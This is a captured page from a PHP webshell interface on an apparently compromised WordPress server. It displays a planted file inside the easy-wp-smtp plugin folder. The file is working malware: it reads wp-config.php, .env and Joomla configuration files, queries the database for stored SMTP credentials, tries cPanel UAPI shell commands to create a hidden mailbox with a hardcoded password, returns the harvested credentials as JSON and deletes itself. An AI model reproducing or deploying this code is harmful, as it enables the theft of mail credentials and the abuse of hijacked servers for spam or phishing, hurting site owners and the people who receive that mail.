403Webshell
Server IP : 43.130.17.34  /  Your IP : 216.73.217.6
Web Server : nginx/1.28.0
System : Linux VM-4-12-opencloudos 6.6.92-34.1.oc9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 25 21:32:13 CST 2025 x86_64
User : www ( 1000)
PHP Version : 8.0.26
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/yespkg.com/wp-content/plugins/easy-wp-smtp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/yespkg.com/wp-content/plugins/easy-wp-smtp//smtp_gen_30mavm.php
<?php
        header("Content-Type: application/json");
        error_reporting(0);
        
        function generateRandomString($length = 6) {
            return substr(str_shuffle("abcdefghijklmnopqrstuvwxyz"), 0, $length);
        }

        function isValidSmtp($host, $user, $pass) {
            $host = strtolower(trim($host));
            $user = strtolower(trim($user));
            $pass = trim($pass);
            
            if (empty($host) || empty($user) || empty($pass)) return false;
            if ($host === "localhost" || $host === "127.0.0.1" || $host === "::1" || $host === "localhost.localdomain") return false;
            if (strpos($host, "mailtrap") !== false || strpos($host, "sandbox") !== false || strpos($host, "mailhog") !== false) return false;
            if ($user === "null" || $pass === "null" || $host === "null") return false;
            if ($user === "root" || $user === "admin" || $user === "default" || $user === "webmaster") return false;
            if (strpos($user, "example.com") !== false || strpos($user, "yourdomain.com") !== false) return false;
            if (strpos($user, "@") === false) return false;
            
            return true;
        }

        function scanLocalSmtp() {
            $searchDirs = array(
                __DIR__,
                dirname(__DIR__),
                dirname(dirname(__DIR__)),
                dirname(dirname(dirname(__DIR__))),
                dirname(dirname(dirname(dirname(__DIR__))))
            );
            
            foreach ($searchDirs as $dir) {
                if (empty($dir) || $dir == "/" || $dir == ".") continue;
                
                // 1. WordPress wp-config.php
                $wpConfig = $dir . "/wp-config.php";
                if (@file_exists($wpConfig) && @is_readable($wpConfig)) {
                    $content = @file_get_contents($wpConfig);
                    if ($content) {
                        $dbName = preg_match("/define\(\s*[\x27\x22]DB_NAME[\x27\x22]\s*,\s*[\x27\x22](.*?)[\x27\x22]\s*\)/i", $content, $m) ? $m[1] : "";
                        $dbUser = preg_match("/define\(\s*[\x27\x22]DB_USER[\x27\x22]\s*,\s*[\x27\x22](.*?)[\x27\x22]\s*\)/i", $content, $m) ? $m[1] : "";
                        $dbPass = preg_match("/define\(\s*[\x27\x22]DB_PASSWORD[\x27\x22]\s*,\s*[\x27\x22](.*?)[\x27\x22]\s*\)/i", $content, $m) ? $m[1] : "";
                        $dbHost = preg_match("/define\(\s*[\x27\x22]DB_HOST[\x27\x22]\s*,\s*[\x27\x22](.*?)[\x27\x22]\s*\)/i", $content, $m) ? $m[1] : "localhost";
                        $tablePrefix = preg_match("/\\$table_prefix\s*=\s*[\x27\x22](.*?)[\x27\x22]\s*;/i", $content, $m) ? $m[1] : "wp_";
                        
                        if (!empty($dbName) && !empty($dbUser) && class_exists("mysqli")) {
                            $hostPart = $dbHost;
                            $portPart = 3306;
                            if (strpos($dbHost, ":") !== false) {
                                list($hostPart, $portPart) = explode(":", $dbHost, 2);
                            }
                            
                            $conn = @new mysqli($hostPart, $dbUser, $dbPass, $dbName, (int)$portPart);
                            if ($conn->connect_error) {
                                $conn = @new mysqli("127.0.0.1", $dbUser, $dbPass, $dbName);
                            }
                            
                            if (!$conn->connect_error) {
                                // Dynamic table detection
                                $table = "";
                                $resTables = $conn->query("SHOW TABLES LIKE '%options'");
                                if ($resTables && $resTables->num_rows > 0) {
                                    while ($rowTable = $resTables->fetch_row()) {
                                        if (preg_match("/options$/i", $rowTable[0])) {
                                            $table = $rowTable[0];
                                            break;
                                        }
                                    }
                                }
                                if (empty($table)) {
                                    $table = $conn->real_escape_string($tablePrefix) . "options";
                                }
                                
                                // A. Try WP Mail SMTP
                                $res = $conn->query("SELECT option_value FROM $table WHERE option_name = \"wp_mail_smtp\" LIMIT 1");
                                if ($res && $row = $res->fetch_assoc()) {
                                    $data = @unserialize($row["option_value"]);
                                    if (is_array($data) && isset($data["smtp"]["host"]) && !empty($data["smtp"]["host"])) {
                                        $host = $data["smtp"]["host"];
                                        $user = $data["smtp"]["user"] ?? "";
                                        $pass = $data["smtp"]["pass"] ?? "";
                                        $port = $data["smtp"]["port"] ?? 587;
                                        if (isValidSmtp($host, $user, $pass)) {
                                            $conn->close();
                                            return array("host" => $host, "user" => $user, "pass" => $pass, "port" => $port);
                                        }
                                    }
                                }
                                
                                // B. Try Easy WP SMTP
                                $res = $conn->query("SELECT option_name, option_value FROM $table WHERE option_name IN (\"swpsmtp_smtp_host\", \"swpsmtp_smtp_username\", \"swpsmtp_smtp_password\", \"swpsmtp_smtp_port\")");
                                if ($res && $res->num_rows > 0) {
                                    $smtp = array();
                                    while ($row = $res->fetch_assoc()) {
                                        $smtp[$row["option_name"]] = $row["option_value"];
                                    }
                                    if (!empty($smtp["swpsmtp_smtp_host"]) && !empty($smtp["swpsmtp_smtp_username"])) {
                                        if (isValidSmtp($smtp["swpsmtp_smtp_host"], $smtp["swpsmtp_smtp_username"], $smtp["swpsmtp_smtp_password"])) {
                                            $conn->close();
                                            return array(
                                                "host" => $smtp["swpsmtp_smtp_host"],
                                                "user" => $smtp["swpsmtp_smtp_username"],
                                                "pass" => $smtp["swpsmtp_smtp_password"] ?? "",
                                                "port" => $smtp["swpsmtp_smtp_port"] ?? 587
                                            );
                                        }
                                    }
                                }
                                $conn->close();
                            }
                        }
                    }
                }
                
                // 2. Laravel/General .env
                $envFile = $dir . "/.env";
                if (@file_exists($envFile) && @is_readable($envFile)) {
                    $envContent = @file_get_contents($envFile);
                    if ($envContent) {
                        $lines = explode("\n", $envContent);
                        $env = array();
                        foreach ($lines as $line) {
                            $line = trim($line);
                            if (empty($line) || strpos($line, "#") === 0) continue;
                            $parts = explode("=", $line, 2);
                            if (count($parts) === 2) {
                                $env[trim($parts[0])] = trim($parts[1], " \t\n\r\0\x0B\x22\x27");
                            }
                        }
                        if (!empty($env["MAIL_HOST"]) && !empty($env["MAIL_USERNAME"]) && !empty($env["MAIL_PASSWORD"])) {
                            if (stripos($env["MAIL_HOST"], "mailgun") === false && stripos($env["MAIL_HOST"], "sendgrid") === false) {
                                if (isValidSmtp($env["MAIL_HOST"], $env["MAIL_USERNAME"], $env["MAIL_PASSWORD"])) {
                                    return array(
                                        "host" => $env["MAIL_HOST"],
                                        "user" => $env["MAIL_USERNAME"],
                                        "pass" => $env["MAIL_PASSWORD"],
                                        "port" => $env["MAIL_PORT"] ?? 587
                                    );
                                }
                            }
                        }
                    }
                }
                
                // 3. Joomla configuration.php
                $joomlaConfig = $dir . "/configuration.php";
                if (@file_exists($joomlaConfig) && @is_readable($joomlaConfig)) {
                    $jContent = @file_get_contents($joomlaConfig);
                    if ($jContent) {
                        $host = preg_match("/public\s+\\$smtphost\s*=\s*[\x27\x22](.*?)[\x27\x22]\s*;/i", $jContent, $m) ? $m[1] : "";
                        $user = preg_match("/public\s+\\$smtpuser\s*=\s*[\x27\x22](.*?)[\x27\x22]\s*;/i", $jContent, $m) ? $m[1] : "";
                        $pass = preg_match("/public\s+\\$smtppass\s*=\s*[\x27\x22](.*?)[\x27\x22]\s*;/i", $jContent, $m) ? $m[1] : "";
                        $port = preg_match("/public\s+\\$smtpport\s*=\s*[\x27\x22](.*?)[\x27\x22]\s*;/i", $jContent, $m) ? $m[1] : "25";
                        if (!empty($host) && !empty($user)) {
                            if (isValidSmtp($host, $user, $pass)) {
                                return array("host" => $host, "user" => $user, "pass" => $pass, "port" => $port);
                            }
                        }
                    }
                }
            }
            return null;
        }

        try {
            // Get current domain
            $domain = $_SERVER["SERVER_NAME"];
            if (empty($domain) || $domain == "_" || $domain == "localhost") {
                // Try to guess from path
                $path = __DIR__;
                if (preg_match("#/home/?\w+/public_html/([^/]+)#", $path, $m)) {
                    $domain = $m[1];
                } else {
                     $domain = gethostname();
                }
            }
            
            $userPrefix = "noreply" . generateRandomString(4);
            $email = $userPrefix . "@" . $domain;
            $pass = "dt1bmop5e4r4";
            
            // Try to find UAPI
            $paths = [
                "/usr/local/cpanel/bin/uapi",
                "/usr/bin/uapi",
                "/usr/sbin/uapi",
                "/usr/local/bin/uapi",
                "/bin/uapi",
                "uapi"
            ];

            $uapiExec = "";
            foreach($paths as $p) {
                // Test running it directly to see if it exists and is executable
                $testRun = shell_exec("$p --help 2>&1");
                if ($testRun !== null) {
                    $testRunLower = strtolower($testRun);
                    if (strpos($testRunLower, "not found") === false && 
                        strpos($testRunLower, "no such") === false && 
                        strpos($testRunLower, "permission denied") === false) {
                        $uapiExec = $p;
                        break;
                    }
                }
                // Fallback to file_exists for absolute paths
                if ($p !== "uapi" && @file_exists($p)) {
                    $uapiExec = $p;
                    break;
                }
            }
            
            if (empty($uapiExec)) {
                // If UAPI not found, try to scan local CMS for SMTP credentials
                $smtp = scanLocalSmtp();
                if ($smtp) {
                    echo json_encode([
                        "status" => "success",
                        "domain" => $smtp["host"],
                        "email" => $smtp["user"],
                        "password" => $smtp["pass"],
                        "smtp_port" => $smtp["port"],
                        "is_extracted" => true
                    ]);
                } else {
                    echo json_encode(["status" => "error", "message" => "This server does not support cPanel / UAPI, and no SMTP configurations were found on the website."]);
                }
                @unlink(__FILE__);
                exit;
            }

            // Command: uapi Email add_pop email=... password=... quota=0
            // We use --output=json specifically to make parsing easier, but some old versions might not support it.
            // We will try JSON first.
            $cmd = $uapiExec . " Email add_pop email=" . escapeshellarg($userPrefix) . " password=" . escapeshellarg($pass) . " quota=0 domain=" . escapeshellarg($domain) . " --output=json 2>&1";
            
            $output = shell_exec($cmd);
            $res = json_decode($output, true);
            
            $success = false;
            $msg = "";
            
            // Logic 1: Proper JSON response
            if ($res && isset($res["result"]["status"]) && $res["result"]["status"] === 1) {
                $success = true;
            } 
            // Logic 2: Text response containing "result: 1" (common in normal output)
            // Example: "apiversion: 3 ... result: 1"
            elseif (preg_match("/result:\s*1/i", $output)) {
                $success = true;
            }
            // Logic 3: "status: 1"
            elseif (preg_match("/status['\"]?\s*:\s*1/", $output)) {
                $success = true;
            }
            // Logic 4: Check for specific success text if simple output
            elseif (stripos($output, "success") !== false && stripos($output, "fail") === false) {
                 // Weak check, but might save some cases
                $success = true;
            }
            
            if (!$success) {
                 // Capture error
                 if ($res && isset($res["result"]["errors"]) && is_array($res["result"]["errors"])) {
                     $msg = implode(", ", $res["result"]["errors"]);
                 } elseif ($res && isset($res["result"]["statusmsg"])) {
                     $msg = $res["result"]["statusmsg"];
                 } else {
                     // Cleanup output for display (take first 200 chars)
                     $msg = "UAPI Error: " . substr(strip_tags($output), 0, 255);
                 }
            }

            if ($success) {
                echo json_encode(["status" => "success", "email" => $email, "domain" => $domain]);
            } else {
                echo json_encode(["status" => "error", "message" => $msg]);
            }
            
            // Self-delete
            @unlink(__FILE__);

        } catch (Exception $e) {
            echo json_encode(["status" => "error", "message" => $e->getMessage()]);
        }
        ?>

Youez - 2016 - github.com/yon3zu
LinuXploit